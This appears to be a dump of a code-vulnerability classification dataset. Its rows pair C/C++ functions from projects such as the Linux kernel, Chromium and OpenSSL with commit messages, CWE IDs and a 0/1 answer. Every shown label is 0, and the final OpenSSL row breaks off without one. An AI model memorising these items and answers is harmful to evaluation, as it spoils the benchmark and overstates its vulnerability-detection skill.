instruction
stringclasses 1
value | input
stringlengths 56
241k
| output
int64 0
1
| __index_level_0__
int64 0
175k
|
|---|---|---|---|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int _nfs4_proc_open_confirm(struct nfs4_opendata *data)
{
struct nfs_server *server = NFS_SERVER(data->dir->d_inode);
struct rpc_task *task;
struct rpc_message msg = {
.rpc_proc = &nfs4_procedures[NFSPROC4_CLNT_OPEN_CONFIRM],
.rpc_argp = &data->c_arg,
.rpc_resp = &data->c_res,
.rpc_cred = data->owner->so_cred,
};
struct rpc_task_setup task_setup_data = {
.rpc_client = server->client,
.rpc_message = &msg,
.callback_ops = &nfs4_open_confirm_ops,
.callback_data = data,
.workqueue = nfsiod_workqueue,
.flags = RPC_TASK_ASYNC,
};
int status;
kref_get(&data->kref);
data->rpc_done = 0;
data->rpc_status = 0;
data->timestamp = jiffies;
task = rpc_run_task(&task_setup_data);
if (IS_ERR(task))
return PTR_ERR(task);
status = nfs4_wait_for_completion_rpc_task(task);
if (status != 0) {
data->cancelled = 1;
smp_wmb();
} else
status = data->rpc_status;
rpc_put_task(task);
return status;
}
Commit Message: Fix length of buffer copied in __nfs4_get_acl_uncached
_copy_from_pages() used to copy data from the temporary buffer to the
user passed buffer is passed the wrong size parameter when copying
data. res.acl_len contains both the bitmap and acl lenghts while
acl_len contains the acl length after adjusting for the bitmap size.
Signed-off-by: Sachin Prabhu <sprabhu@redhat.com>
Signed-off-by: Trond Myklebust <Trond.Myklebust@netapp.com>
CWE ID: CWE-189
| 0
| 19,829
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void arm_iommu_sync_sg_for_cpu(struct device *dev, struct scatterlist *sg,
int nents, enum dma_data_direction dir)
{
struct scatterlist *s;
int i;
for_each_sg(sg, s, nents, i)
__dma_page_dev_to_cpu(sg_page(s), s->offset, s->length, dir);
}
Commit Message: ARM: dma-mapping: don't allow DMA mappings to be marked executable
DMA mapping permissions were being derived from pgprot_kernel directly
without using PAGE_KERNEL. This causes them to be marked with executable
permission, which is not what we want. Fix this.
Signed-off-by: Russell King <rmk+kernel@arm.linux.org.uk>
CWE ID: CWE-264
| 0
| 58,311
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void dimm_del(GF_Box *s)
{
gf_free((GF_DIMMBox *)s);
}
Commit Message: fixed 2 possible heap overflows (inc. #1088)
CWE ID: CWE-125
| 0
| 80,049
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int apparmor_capget(struct task_struct *target, kernel_cap_t *effective,
kernel_cap_t *inheritable, kernel_cap_t *permitted)
{
struct aa_profile *profile;
const struct cred *cred;
rcu_read_lock();
cred = __task_cred(target);
profile = aa_cred_profile(cred);
*effective = cred->cap_effective;
*inheritable = cred->cap_inheritable;
*permitted = cred->cap_permitted;
if (!unconfined(profile)) {
*effective = cap_intersect(*effective, profile->caps.allow);
*permitted = cap_intersect(*permitted, profile->caps.allow);
}
rcu_read_unlock();
return 0;
}
Commit Message: AppArmor: fix oops in apparmor_setprocattr
When invalid parameters are passed to apparmor_setprocattr a NULL deref
oops occurs when it tries to record an audit message. This is because
it is passing NULL for the profile parameter for aa_audit. But aa_audit
now requires that the profile passed is not NULL.
Fix this by passing the current profile on the task that is trying to
setprocattr.
Signed-off-by: Kees Cook <kees@ubuntu.com>
Signed-off-by: John Johansen <john.johansen@canonical.com>
Cc: stable@kernel.org
Signed-off-by: James Morris <jmorris@namei.org>
CWE ID: CWE-20
| 0
| 34,781
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int _snd_pcm_hw_param_last(struct snd_pcm_hw_params *params,
snd_pcm_hw_param_t var)
{
int changed;
if (hw_is_mask(var))
changed = snd_mask_refine_last(hw_param_mask(params, var));
else if (hw_is_interval(var))
changed = snd_interval_refine_last(hw_param_interval(params, var));
else
return -EINVAL;
if (changed) {
params->cmask |= 1 << var;
params->rmask |= 1 << var;
}
return changed;
}
Commit Message: ALSA: pcm : Call kill_fasync() in stream lock
Currently kill_fasync() is called outside the stream lock in
snd_pcm_period_elapsed(). This is potentially racy, since the stream
may get released even during the irq handler is running. Although
snd_pcm_release_substream() calls snd_pcm_drop(), this doesn't
guarantee that the irq handler finishes, thus the kill_fasync() call
outside the stream spin lock may be invoked after the substream is
detached, as recently reported by KASAN.
As a quick workaround, move kill_fasync() call inside the stream
lock. The fasync is rarely used interface, so this shouldn't have a
big impact from the performance POV.
Ideally, we should implement some sync mechanism for the proper finish
of stream and irq handler. But this oneliner should suffice for most
cases, so far.
Reported-by: Baozeng Ding <sploving1@gmail.com>
Signed-off-by: Takashi Iwai <tiwai@suse.de>
CWE ID: CWE-416
| 0
| 47,779
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void LayoutBlockFlow::markDescendantsWithFloatsForLayoutIfNeeded(LayoutBlockFlow& child, LayoutUnit newLogicalTop, LayoutUnit previousFloatLogicalBottom)
{
bool markDescendantsWithFloats = false;
if (newLogicalTop != child.logicalTop() && !child.avoidsFloats() && child.containsFloats()) {
markDescendantsWithFloats = true;
} else if (UNLIKELY(newLogicalTop.mightBeSaturated())) {
markDescendantsWithFloats = true;
} else if (!child.avoidsFloats() || child.shrinkToAvoidFloats()) {
if (std::max(previousFloatLogicalBottom, lowestFloatLogicalBottom()) > newLogicalTop)
markDescendantsWithFloats = true;
}
if (markDescendantsWithFloats)
child.markAllDescendantsWithFloatsForLayout();
}
Commit Message: Consistently check if a block can handle pagination strut propagation.
https://codereview.chromium.org/1360753002 got it right for inline child
layout, but did nothing for block child layout.
BUG=329421
R=jchaffraix@chromium.org,leviw@chromium.org
Review URL: https://codereview.chromium.org/1387553002
Cr-Commit-Position: refs/heads/master@{#352429}
CWE ID: CWE-22
| 0
| 123,020
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bool ReadDictionaryValue(const Message* m, PickleIterator* iter,
DictionaryValue* value, int recursion) {
int size;
if (!ReadParam(m, iter, &size))
return false;
for (int i = 0; i < size; ++i) {
std::string key;
Value* subval;
if (!ReadParam(m, iter, &key) ||
!ReadValue(m, iter, &subval, recursion + 1))
return false;
value->SetWithoutPathExpansion(key, subval);
}
return true;
}
Commit Message: Validate that paths don't contain embedded NULLs at deserialization.
BUG=166867
Review URL: https://chromiumcodereview.appspot.com/11743009
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@174935 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID:
| 0
| 117,404
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void unsignedShortMethodMethod(const v8::FunctionCallbackInfo<v8::Value>& info)
{
TestObjectPython* imp = V8TestObjectPython::toNative(info.Holder());
v8SetReturnValueUnsigned(info, imp->unsignedShortMethod());
}
Commit Message: document.location bindings fix
BUG=352374
R=jochen@chromium.org
Review URL: https://codereview.chromium.org/196343011
git-svn-id: svn://svn.chromium.org/blink/trunk@169176 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-399
| 0
| 122,766
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void PpapiPluginProcessHost::OnChannelConnected(int32 peer_pid) {
Send(new PpapiMsg_LoadPlugin(plugin_path_));
for (size_t i = 0; i < pending_requests_.size(); i++)
RequestPluginChannel(pending_requests_[i]);
pending_requests_.clear();
}
Commit Message: Handle crashing Pepper plug-ins the same as crashing NPAPI plug-ins.
BUG=151895
Review URL: https://chromiumcodereview.appspot.com/10956065
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@158364 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID:
| 0
| 103,146
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void OxideQQuickWebViewPrivate::NavigationListPruned(bool from_front, int count) {
navigation_history_.onNavigationListPruned(from_front, count);
}
Commit Message:
CWE ID: CWE-20
| 0
| 17,045
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void GotResult(bool hdr_enabled) {
display::win::ScreenWin::SetHDREnabled(hdr_enabled);
}
Commit Message: Roll src/third_party/boringssl/src 664e99a64..696c13bd6
https://boringssl.googlesource.com/boringssl/+log/664e99a6486c293728097c661332f92bf2d847c6..696c13bd6ab78011adfe7b775519c8b7cc82b604
BUG=778101
Change-Id: I8dda4f3db952597148e3c7937319584698d00e1c
Reviewed-on: https://chromium-review.googlesource.com/747941
Reviewed-by: Avi Drissman <avi@chromium.org>
Reviewed-by: David Benjamin <davidben@chromium.org>
Commit-Queue: Steven Valdez <svaldez@chromium.org>
Cr-Commit-Position: refs/heads/master@{#513774}
CWE ID: CWE-310
| 0
| 150,452
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void skb_complete_tx_timestamp(struct sk_buff *skb,
struct skb_shared_hwtstamps *hwtstamps)
{
struct sock *sk = skb->sk;
if (!skb_may_tx_timestamp(sk, false))
return;
/* Take a reference to prevent skb_orphan() from freeing the socket,
* but only if the socket refcount is not zero.
*/
if (likely(atomic_inc_not_zero(&sk->sk_refcnt))) {
*skb_hwtstamps(skb) = *hwtstamps;
__skb_complete_tx_timestamp(skb, sk, SCM_TSTAMP_SND);
sock_put(sk);
}
}
Commit Message: tcp: fix SCM_TIMESTAMPING_OPT_STATS for normal skbs
__sock_recv_timestamp can be called for both normal skbs (for
receive timestamps) and for skbs on the error queue (for transmit
timestamps).
Commit 1c885808e456
(tcp: SOF_TIMESTAMPING_OPT_STATS option for SO_TIMESTAMPING)
assumes any skb passed to __sock_recv_timestamp are from
the error queue, containing OPT_STATS in the content of the skb.
This results in accessing invalid memory or generating junk
data.
To fix this, set skb->pkt_type to PACKET_OUTGOING for packets
on the error queue. This is safe because on the receive path
on local sockets skb->pkt_type is never set to PACKET_OUTGOING.
With that, copy OPT_STATS from a packet, only if its pkt_type
is PACKET_OUTGOING.
Fixes: 1c885808e456 ("tcp: SOF_TIMESTAMPING_OPT_STATS option for SO_TIMESTAMPING")
Reported-by: JongHwan Kim <zzoru007@gmail.com>
Signed-off-by: Soheil Hassas Yeganeh <soheil@google.com>
Signed-off-by: Eric Dumazet <edumazet@google.com>
Signed-off-by: Willem de Bruijn <willemb@google.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-125
| 0
| 67,695
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void TopSitesImpl::ClearBlacklistedURLs() {
DCHECK(thread_checker_.CalledOnValidThread());
{
DictionaryPrefUpdate update(pref_service_, kMostVisitedURLsBlacklist);
base::DictionaryValue* blacklist = update.Get();
blacklist->Clear();
}
ResetThreadSafeCache();
NotifyTopSitesChanged(TopSitesObserver::ChangeReason::BLACKLIST);
}
Commit Message: TopSites: Clear thumbnails from the cache when their URLs get removed
We already cleared the thumbnails from persistent storage, but they
remained in the in-memory cache, so they remained accessible (until the
next Chrome restart) even after all browsing data was cleared.
Bug: 758169
Change-Id: Id916d22358430a82e6d5043ac04fa463a32f824f
Reviewed-on: https://chromium-review.googlesource.com/758640
Commit-Queue: Marc Treib <treib@chromium.org>
Reviewed-by: Sylvain Defresne <sdefresne@chromium.org>
Cr-Commit-Position: refs/heads/master@{#514861}
CWE ID: CWE-200
| 0
| 147,057
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: MagickExport ssize_t WriteBlobMSBLong(Image *image,const unsigned int value)
{
unsigned char
buffer[4];
assert(image != (Image *) NULL);
assert(image->signature == MagickCoreSignature);
buffer[0]=(unsigned char) (value >> 24);
buffer[1]=(unsigned char) (value >> 16);
buffer[2]=(unsigned char) (value >> 8);
buffer[3]=(unsigned char) value;
return(WriteBlobStream(image,4,buffer));
}
Commit Message: https://github.com/ImageMagick/ImageMagick6/issues/43
CWE ID: CWE-416
| 0
| 88,572
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void RenderFrameImpl::LoadErrorPage(int reason) {
LoadNavigationErrorPage(frame_->GetDocumentLoader(),
WebURLError(reason, frame_->GetDocument().Url()),
base::nullopt, true /* replace_current_item */,
false /* inherit_document_state */);
}
Commit Message: Convert FrameHostMsg_DidAddMessageToConsole to Mojo.
Note: Since this required changing the test
RenderViewImplTest.DispatchBeforeUnloadCanDetachFrame, I manually
re-introduced https://crbug.com/666714 locally (the bug the test was
added for), and reran the test to confirm that it still covers the bug.
Bug: 786836
Change-Id: I110668fa6f0f261fd2ac36bb91a8d8b31c99f4f1
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1526270
Commit-Queue: Lowell Manners <lowell@chromium.org>
Reviewed-by: Daniel Cheng <dcheng@chromium.org>
Reviewed-by: Camille Lamy <clamy@chromium.org>
Cr-Commit-Position: refs/heads/master@{#653137}
CWE ID: CWE-416
| 0
| 139,719
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: RenderFrameDevToolsAgentHost::~RenderFrameDevToolsAgentHost() {
SetFrameTreeNode(nullptr);
}
Commit Message: [DevTools] Do not allow Page.setDownloadBehavior for extensions
Bug: 866426
Change-Id: I71b672978e1a8ec779ede49da16b21198567d3a4
Reviewed-on: https://chromium-review.googlesource.com/c/1270007
Commit-Queue: Dmitry Gozman <dgozman@chromium.org>
Reviewed-by: Devlin <rdevlin.cronin@chromium.org>
Cr-Commit-Position: refs/heads/master@{#598004}
CWE ID: CWE-20
| 0
| 143,699
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: std::unique_ptr<corewm::Tooltip> DesktopWindowTreeHostX11::CreateTooltip() {
return base::WrapUnique(new corewm::TooltipAura);
}
Commit Message: Fix PIP window being blank after minimize/show
DesktopWindowTreeHostX11::SetVisible only made the call into
OnNativeWidgetVisibilityChanged when transitioning from shown
to minimized and not vice versa. This is because this change
https://chromium-review.googlesource.com/c/chromium/src/+/1437263
considered IsVisible to be true when minimized, which made
IsVisible always true in this case. This caused layers to be hidden
but never shown again.
This is a reland of:
https://chromium-review.googlesource.com/c/chromium/src/+/1580103
Bug: 949199
Change-Id: I2151cd09e537d8ce8781897f43a3b8e9cec75996
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1584617
Reviewed-by: Scott Violet <sky@chromium.org>
Commit-Queue: enne <enne@chromium.org>
Cr-Commit-Position: refs/heads/master@{#654280}
CWE ID: CWE-284
| 0
| 140,516
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void HeadlessWebContentsImpl::Close() {
DCHECK_CURRENTLY_ON(content::BrowserThread::UI);
browser_context()->DestroyWebContents(this);
}
Commit Message: Use pdf compositor service for printing when OOPIF is enabled
When OOPIF is enabled (by site-per-process flag or
top-document-isolation feature), use the pdf compositor service for
converting PaintRecord to PDF on renderers.
In the future, this will make compositing PDF from multiple renderers
possible.
TBR=jzfeng@chromium.org
BUG=455764
Change-Id: I3c28f03f4358e4228239fe1a33384f85e7716e8f
Reviewed-on: https://chromium-review.googlesource.com/699765
Commit-Queue: Wei Li <weili@chromium.org>
Reviewed-by: Daniel Cheng <dcheng@chromium.org>
Reviewed-by: Lei Zhang <thestig@chromium.org>
Cr-Commit-Position: refs/heads/master@{#511616}
CWE ID: CWE-254
| 0
| 126,840
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void BrowserView::Restore() {
frame_->Restore();
}
Commit Message: Remove TabContents from TabStripModelObserver::TabDetachedAt.
BUG=107201
TEST=no visible change
Review URL: https://chromiumcodereview.appspot.com/11293205
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@167122 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-20
| 0
| 118,427
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: iperf_new_test()
{
struct iperf_test *test;
test = (struct iperf_test *) malloc(sizeof(struct iperf_test));
if (!test) {
i_errno = IENEWTEST;
return NULL;
}
/* initialize everything to zero */
memset(test, 0, sizeof(struct iperf_test));
test->settings = (struct iperf_settings *) malloc(sizeof(struct iperf_settings));
if (!test->settings) {
free(test);
i_errno = IENEWTEST;
return NULL;
}
memset(test->settings, 0, sizeof(struct iperf_settings));
return test;
}
Commit Message: Fix a buffer overflow / heap corruption issue that could occur if a
malformed JSON string was passed on the control channel. This issue,
present in the cJSON library, was already fixed upstream, so was
addressed here in iperf3 by importing a newer version of cJSON (plus
local ESnet modifications).
Discovered and reported by Dave McDaniel, Cisco Talos.
Based on a patch by @dopheide-esnet, with input from @DaveGamble.
Cross-references: TALOS-CAN-0164, ESNET-SECADV-2016-0001,
CVE-2016-4303
(cherry picked from commit ed94082be27d971a5e1b08b666e2c217cf470a40)
Signed-off-by: Bruce A. Mah <bmah@es.net>
CWE ID: CWE-119
| 0
| 53,405
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: ofputil_check_group_mod(const struct ofputil_group_mod *gm)
{
switch (gm->type) {
case OFPGT11_INDIRECT:
if (gm->command != OFPGC11_DELETE
&& !ovs_list_is_singleton(&gm->buckets) ) {
return OFPERR_OFPGMFC_INVALID_GROUP;
}
break;
case OFPGT11_ALL:
case OFPGT11_SELECT:
case OFPGT11_FF:
break;
default:
return OFPERR_OFPGMFC_BAD_TYPE;
}
switch (gm->command) {
case OFPGC11_ADD:
case OFPGC11_MODIFY:
case OFPGC11_ADD_OR_MOD:
case OFPGC11_DELETE:
case OFPGC15_INSERT_BUCKET:
break;
case OFPGC15_REMOVE_BUCKET:
if (!ovs_list_is_empty(&gm->buckets)) {
return OFPERR_OFPGMFC_BAD_BUCKET;
}
break;
default:
return OFPERR_OFPGMFC_BAD_COMMAND;
}
struct ofputil_bucket *bucket;
LIST_FOR_EACH (bucket, list_node, &gm->buckets) {
if (bucket->weight && gm->type != OFPGT11_SELECT) {
return OFPERR_OFPGMFC_INVALID_GROUP;
}
switch (gm->type) {
case OFPGT11_ALL:
case OFPGT11_INDIRECT:
if (ofputil_bucket_has_liveness(bucket)) {
return OFPERR_OFPGMFC_WATCH_UNSUPPORTED;
}
break;
case OFPGT11_SELECT:
break;
case OFPGT11_FF:
if (!ofputil_bucket_has_liveness(bucket)) {
return OFPERR_OFPGMFC_INVALID_GROUP;
}
break;
default:
/* Returning BAD TYPE to be consistent
* though gm->type has been checked already. */
return OFPERR_OFPGMFC_BAD_TYPE;
}
}
return 0;
}
Commit Message: ofp-group: Don't assert-fail decoding bad OF1.5 group mod type or command.
When decoding a group mod, the current code validates the group type and
command after the whole group mod has been decoded. The OF1.5 decoder,
however, tries to use the type and command earlier, when it might still be
invalid. This caused an assertion failure (via OVS_NOT_REACHED). This
commit fixes the problem.
ovs-vswitchd does not enable support for OpenFlow 1.5 by default.
Reported-at: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=9249
Signed-off-by: Ben Pfaff <blp@ovn.org>
Reviewed-by: Yifeng Sun <pkusunyifeng@gmail.com>
CWE ID: CWE-617
| 0
| 77,487
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void napi_reuse_skb(struct napi_struct *napi, struct sk_buff *skb)
{
__skb_pull(skb, skb_headlen(skb));
skb_reserve(skb, NET_IP_ALIGN - skb_headroom(skb));
skb->vlan_tci = 0;
skb->dev = napi->dev;
skb->skb_iif = 0;
napi->skb = skb;
}
Commit Message: net: don't allow CAP_NET_ADMIN to load non-netdev kernel modules
Since a8f80e8ff94ecba629542d9b4b5f5a8ee3eb565c any process with
CAP_NET_ADMIN may load any module from /lib/modules/. This doesn't mean
that CAP_NET_ADMIN is a superset of CAP_SYS_MODULE as modules are
limited to /lib/modules/**. However, CAP_NET_ADMIN capability shouldn't
allow anybody load any module not related to networking.
This patch restricts an ability of autoloading modules to netdev modules
with explicit aliases. This fixes CVE-2011-1019.
Arnd Bergmann suggested to leave untouched the old pre-v2.6.32 behavior
of loading netdev modules by name (without any prefix) for processes
with CAP_SYS_MODULE to maintain the compatibility with network scripts
that use autoloading netdev modules by aliases like "eth0", "wlan0".
Currently there are only three users of the feature in the upstream
kernel: ipip, ip_gre and sit.
root@albatros:~# capsh --drop=$(seq -s, 0 11),$(seq -s, 13 34) --
root@albatros:~# grep Cap /proc/$$/status
CapInh: 0000000000000000
CapPrm: fffffff800001000
CapEff: fffffff800001000
CapBnd: fffffff800001000
root@albatros:~# modprobe xfs
FATAL: Error inserting xfs
(/lib/modules/2.6.38-rc6-00001-g2bf4ca3/kernel/fs/xfs/xfs.ko): Operation not permitted
root@albatros:~# lsmod | grep xfs
root@albatros:~# ifconfig xfs
xfs: error fetching interface information: Device not found
root@albatros:~# lsmod | grep xfs
root@albatros:~# lsmod | grep sit
root@albatros:~# ifconfig sit
sit: error fetching interface information: Device not found
root@albatros:~# lsmod | grep sit
root@albatros:~# ifconfig sit0
sit0 Link encap:IPv6-in-IPv4
NOARP MTU:1480 Metric:1
root@albatros:~# lsmod | grep sit
sit 10457 0
tunnel4 2957 1 sit
For CAP_SYS_MODULE module loading is still relaxed:
root@albatros:~# grep Cap /proc/$$/status
CapInh: 0000000000000000
CapPrm: ffffffffffffffff
CapEff: ffffffffffffffff
CapBnd: ffffffffffffffff
root@albatros:~# ifconfig xfs
xfs: error fetching interface information: Device not found
root@albatros:~# lsmod | grep xfs
xfs 745319 0
Reference: https://lkml.org/lkml/2011/2/24/203
Signed-off-by: Vasiliy Kulikov <segoon@openwall.com>
Signed-off-by: Michael Tokarev <mjt@tls.msk.ru>
Acked-by: David S. Miller <davem@davemloft.net>
Acked-by: Kees Cook <kees.cook@canonical.com>
Signed-off-by: James Morris <jmorris@namei.org>
CWE ID: CWE-264
| 0
| 35,270
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: const gfx::VectorIcon& GetVectorIconForMediaAction(MediaSessionAction action) {
switch (action) {
case MediaSessionAction::kPreviousTrack:
return kLockScreenPreviousTrackIcon;
case MediaSessionAction::kPause:
return kLockScreenPauseIcon;
case MediaSessionAction::kNextTrack:
return kLockScreenNextTrackIcon;
case MediaSessionAction::kPlay:
return kLockScreenPlayIcon;
case MediaSessionAction::kSeekBackward:
return kLockScreenSeekBackwardIcon;
case MediaSessionAction::kSeekForward:
return kLockScreenSeekForwardIcon;
case MediaSessionAction::kStop:
case MediaSessionAction::kSkipAd:
case MediaSessionAction::kSeekTo:
case MediaSessionAction::kScrubTo:
NOTREACHED();
break;
}
NOTREACHED();
return gfx::kNoneIcon;
}
Commit Message: [Lock Screen Media Controls] Tweak UI based on new mocks
This CL rearranges the different components of the CrOS lock screen
media controls based on the newest mocks. This involves resizing most
of the child views and their spacings. The artwork was also resized
and re-positioned. Additionally, the close button was moved from the
main view to the header row child view.
Artist and title data about the current session will eventually be
placed to the right of the artwork, but right now this space is empty.
See the bug for before and after pictures.
Bug: 991647
Change-Id: I7b97f31982ccf2912bd2564d5241bfd849d21d92
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1746554
Reviewed-by: Xiyuan Xia <xiyuan@chromium.org>
Reviewed-by: Becca Hughes <beccahughes@chromium.org>
Commit-Queue: Mia Bergeron <miaber@google.com>
Cr-Commit-Position: refs/heads/master@{#686253}
CWE ID: CWE-200
| 0
| 136,492
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void V4L2JpegEncodeAccelerator::EncodedInstanceDmaBuf::ServiceDevice() {
DCHECK(parent_->encoder_task_runner_->BelongsToCurrentThread());
if (!running_job_queue_.empty()) {
Dequeue();
}
EnqueueInput();
EnqueueOutput();
DVLOGF(3) << "buffer counts: INPUT[" << input_job_queue_.size()
<< "] => DEVICE[" << free_input_buffers_.size() << "/"
<< "->" << free_output_buffers_.size() << "]";
}
Commit Message: media: remove base::SharedMemoryHandle usage in v4l2 encoder
This replaces a use of the legacy UnalignedSharedMemory ctor
taking a SharedMemoryHandle with the current ctor taking a
PlatformSharedMemoryRegion.
Bug: 849207
Change-Id: Iea24ebdcd941cf2fa97e19cf2aeac1a18f9773d9
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1697602
Commit-Queue: Matthew Cary (CET) <mattcary@chromium.org>
Reviewed-by: Ricky Liang <jcliang@chromium.org>
Cr-Commit-Position: refs/heads/master@{#681740}
CWE ID: CWE-20
| 0
| 136,061
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: TabSpecificContentSettings::SiteDataObserver::SiteDataObserver(
TabSpecificContentSettings* tab_specific_content_settings)
: tab_specific_content_settings_(tab_specific_content_settings) {
tab_specific_content_settings_->AddSiteDataObserver(this);
}
Commit Message: Check the content setting type is valid.
BUG=169770
Review URL: https://codereview.chromium.org/11875013
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@176687 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-20
| 0
| 117,351
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: UrlmonUrlRequestManager::UrlmonUrlRequestManager()
: stopping_(false), calling_delegate_(0), notification_window_(NULL),
privileged_mode_(false),
container_(NULL) {
}
Commit Message: iwyu: Include callback_old.h where appropriate, final.
BUG=82098
TEST=none
Review URL: http://codereview.chromium.org/7003003
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@85003 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-119
| 0
| 100,979
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int tls1_check_chain(SSL *s, X509 *x, EVP_PKEY *pk, STACK_OF(X509) *chain,
int idx)
{
int i;
int rv = 0;
int check_flags = 0, strict_mode;
CERT_PKEY *cpk = NULL;
CERT *c = s->cert;
uint32_t *pvalid;
unsigned int suiteb_flags = tls1_suiteb(s);
/* idx == -1 means checking server chains */
if (idx != -1) {
/* idx == -2 means checking client certificate chains */
if (idx == -2) {
cpk = c->key;
idx = cpk - c->pkeys;
} else
cpk = c->pkeys + idx;
pvalid = s->s3->tmp.valid_flags + idx;
x = cpk->x509;
pk = cpk->privatekey;
chain = cpk->chain;
strict_mode = c->cert_flags & SSL_CERT_FLAGS_CHECK_TLS_STRICT;
/* If no cert or key, forget it */
if (!x || !pk)
goto end;
} else {
if (!x || !pk)
return 0;
idx = ssl_cert_type(x, pk);
if (idx == -1)
return 0;
pvalid = s->s3->tmp.valid_flags + idx;
if (c->cert_flags & SSL_CERT_FLAGS_CHECK_TLS_STRICT)
check_flags = CERT_PKEY_STRICT_FLAGS;
else
check_flags = CERT_PKEY_VALID_FLAGS;
strict_mode = 1;
}
if (suiteb_flags) {
int ok;
if (check_flags)
check_flags |= CERT_PKEY_SUITEB;
ok = X509_chain_check_suiteb(NULL, x, chain, suiteb_flags);
if (ok == X509_V_OK)
rv |= CERT_PKEY_SUITEB;
else if (!check_flags)
goto end;
}
/*
* Check all signature algorithms are consistent with signature
* algorithms extension if TLS 1.2 or later and strict mode.
*/
if (TLS1_get_version(s) >= TLS1_2_VERSION && strict_mode) {
int default_nid;
unsigned char rsign = 0;
if (s->s3->tmp.peer_sigalgs)
default_nid = 0;
/* If no sigalgs extension use defaults from RFC5246 */
else {
switch (idx) {
case SSL_PKEY_RSA_ENC:
case SSL_PKEY_RSA_SIGN:
rsign = TLSEXT_signature_rsa;
default_nid = NID_sha1WithRSAEncryption;
break;
case SSL_PKEY_DSA_SIGN:
rsign = TLSEXT_signature_dsa;
default_nid = NID_dsaWithSHA1;
break;
case SSL_PKEY_ECC:
rsign = TLSEXT_signature_ecdsa;
default_nid = NID_ecdsa_with_SHA1;
break;
case SSL_PKEY_GOST01:
rsign = TLSEXT_signature_gostr34102001;
default_nid = NID_id_GostR3411_94_with_GostR3410_2001;
break;
case SSL_PKEY_GOST12_256:
rsign = TLSEXT_signature_gostr34102012_256;
default_nid = NID_id_tc26_signwithdigest_gost3410_2012_256;
break;
case SSL_PKEY_GOST12_512:
rsign = TLSEXT_signature_gostr34102012_512;
default_nid = NID_id_tc26_signwithdigest_gost3410_2012_512;
break;
default:
default_nid = -1;
break;
}
}
/*
* If peer sent no signature algorithms extension and we have set
* preferred signature algorithms check we support sha1.
*/
if (default_nid > 0 && c->conf_sigalgs) {
size_t j;
const unsigned char *p = c->conf_sigalgs;
for (j = 0; j < c->conf_sigalgslen; j += 2, p += 2) {
if (p[0] == TLSEXT_hash_sha1 && p[1] == rsign)
break;
}
if (j == c->conf_sigalgslen) {
if (check_flags)
goto skip_sigs;
else
goto end;
}
}
